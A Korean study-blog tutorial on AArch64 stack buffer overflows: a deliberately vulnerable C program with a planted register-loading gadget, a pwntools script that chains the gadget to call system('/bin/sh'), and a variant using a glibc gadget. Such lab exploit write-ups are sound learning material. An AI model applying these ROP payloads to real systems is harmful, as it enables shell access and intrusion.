반응형
Recent Posts
Recent Comments
Link
«   2024/06   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30
Tags
more
Archives
Today
Total
관리 메뉴

ZZoMb1E_PWN

[AArch64] Buffer OverFlow (with chaining) 본문

STUDY/PWNABLE_AArch64

[AArch64] Buffer OverFlow (with chaining)

ZZoMb1E 2024. 3. 20. 15:35
728x90
반응형

 잘못된 부분이 있으면 알려주세요. 확인 후 수정하도록 하겠습니다. 

 

 

바뀐 ASM과 register 들을 이용하여 gadget 사용하는 방법을 조금 다루겠다.

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void gift(){
	write(1, "/bin/sh\x00",0x8);
	system('ls');
}

void gadget(){
	asm("ldr x30, [sp]");
	asm("ldr x0, [sp, #8]");
	asm("ldr x1, [sp, #16]");
	asm("ldr x2, [sp, #24]");
	asm("ret");

}
void vuln(){
	char buf[0x20];

	read(0,buf,0x100);
	printf("Your Input : %s", buf);
}

int main(){
	write(1,"Input : ",0x8);

	vuln();

	return 0;
}

 

ldr 명령어를 사용하여 sp로부터 x30, x0, x1, x2 로 차례대로 값을 전달하는 gadget을 추가했다.

 

 

그리고 /bin/sh 문자열과 system()의 주소가 따로 존재하기 때문에 각각의 주소를 gift()로부터 구해준다.

 

 

X30이 register가 ret이기 때문에 해당 부분에 system()의 주소가 들어가게 하고,

첫 번째 인자 전달하는 X0에 /bin/sh 문자열의 주소를 넣어준다.

그리고 X1, X2에는 dummy 값을 넣어주면 system('/bin/sh')를 실행할 수 있다.

from pwn import *

p = process(['qemu-aarch64-static', 'a.out'])
#p = process(['qemu-aarch64-static', '-g',  '1234', 'a.out'])
e = ELF('a.out')

context.log_level = 'debug'

#func
system =e.sym['system']
read = e.sym['read']
write = e.sym['write']

#gadget
gadget= 0x0000000000400704
bss = e.bss()
binsh = 0x4593b8

#payload
payload = b'a'*0x20
payload += b'b'*0x8

payload += p64(gadget)
payload += p64(system)
payload += p64(binsh)
payload += p64(0)
payload += p64(0)


#send
p.sendafter(b':', payload)


p.interactive()

 

 


 

glibc 파일을 살펴보면 아래와 같은 gadget이 있는데 이를 사용할 수 있다.

ldr x0, [sp, #0x18] ; ldp x29, x30, [sp], #0x20 ; ret

이런 경우 sp+0x18 위치에 /bin/sh 문자열을 입력하고, sp 위치에 차레대로 X29, X30로 사용할 값을 차례대로 입력하면 된다.

 

사용 예시이다.

 

sp-0x30위치에 데이터를 입력하는 코드의 모습이다.

 

이 코드에 아래와 같이 입력하면 X29, X30, X0을 변조 할 수 있다.

payload = b'a'*0x28
payload += p64(gadget)
payload += b'a'*0x10
payload += p64(system)*2
payload += p64(0x0)
payload += p64(binsh)

 

 

728x90
반응형

'STUDY > PWNABLE_AArch64' 카테고리의 다른 글

[AArch64] Buffer OverFlow (실습)  (1) 2024.05.01
[AArch64] PAC  (0) 2024.04.08
[AArch64] Debugging  (1) 2024.03.23
[AArch64] Buffer OverFlow  (0) 2024.03.20
[AArch64] x86_64 간단 비교  (0) 2024.03.20